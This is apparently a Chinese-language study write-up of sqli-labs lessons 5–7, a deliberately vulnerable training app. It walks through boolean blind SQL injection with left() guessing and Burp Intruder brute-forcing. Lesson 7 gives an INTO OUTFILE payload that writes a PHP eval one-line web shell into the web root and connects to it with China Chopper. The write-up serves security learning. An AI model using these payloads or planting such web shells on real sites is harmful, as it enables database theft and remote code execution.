Lesson 05 Double injection -Single quotes - string (双注入GET单引号字符型注入) bool型注入
(1)查看是否有注入
SELECT * FROM users WHERE id='1' LIMIT 0,1
当随便输入一个ID值时
没有返回任何东西,通过此可以判断此为布尔盲注。
就是当正确时,返回结果;错误的时候,不会返回结果
(2)加上单引号,报错
SELECT * FROM users WHERE id='1'' LIMIT 0,1
错误显示,1的附近多了一个单引号,说明有注入漏洞
(3)使用 order by 语句
发现还是三列
?id=1' order by 3--+
(4)这个时候,并不能直接使用union select 语句,因为此时只要输入正确就会出现此语句,并没显示用户的信息。这里使用left()函数,来探取、判断用户信息。
?id=1' and left((select database()),1)='s'--+
此时返回正常,说明库的第一个字母为s
但是,这样猜解过于麻烦,此时需要使用burp suite爆破
爆破过程:先设置代理,打开burp suite,获取信息,发送到Intruder,对整体进行clear,再选中a,将a作为变量,点击ADD,把相关配置配置好,开始爆破,出现的结果进行排序,在最上面,数值与其他结果不一样的就是正确的,再继续探索即可,具体图片不再展示。
之后操作一样,不断爆破,最后得到猜解出结果为security
Lesson 05结束
Lesson 06 Double injection -Double quotes - String (双注入GET双引号字符型注入)
这道题与第五课差不多
(1)首先测试一下是什么样的
包裹着1的是双引号,所以只后测试不用加单引号,直接加双引号即可。
(2)加上双引号测试
有错误
(3)使用order by语句查列
还是三列
这对我们来说并没有什么用处,因为它没有回显
剩下的皆与上一课相似,不再过多演示
Lesson 06结束
Lesson 07 Dump into outfile - String (导出文件GET字符型注入)
(1)先进行测试,看回显出的语句是什么
SELECT * FROM users WHERE id=(('1')) LIMIT 0,1
显示要用outfile函数去写
(2)看测试出的sql语句,得出下次测试需要在后面加上’)),记得注释掉
显示出正确结果
(3)使用order by语句测试出有三列
(4)使用union select语句进行联合查询(这里要使用一句话木马,中国菜刀)
先不用一句话木马,只是用outfile往文件里写入一个简单的单词
?id=-1')) union select 1,2,'crow' into outfile "C:\phpstudy\WWW\sqli-labs-master\Less-7\test.php"--+
此时Less-7文件夹里出现了新建立的test.php文件,里面有刚写入的数据
若前面不是-1,而是1,则还会多一行原本的用户信息
(5)因为要使用中国菜刀进行访问,所以要把一句话木马写进去
?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]);?>'into outfile "C:\phpstudy\WWW\sqli-labs-master\Less-7\a.php"--+
一句话木马中,双引号内的就是密码
(6)现在开始使用中国菜刀,先直接进行访问
http://192.168.3.254/sqli-labs-master/Less-7/a.php
现在还什么都不显示
使用中国菜刀进行连接
这时,就成功拿到这个网站的web shell
补充:
- into outfile 写文件
可以把前面的文字写入指定的文件或者指定的路径
如果出现错误,可以将改为\,会比较安全
2.load_file() 读取本地文件
Lesson 07结束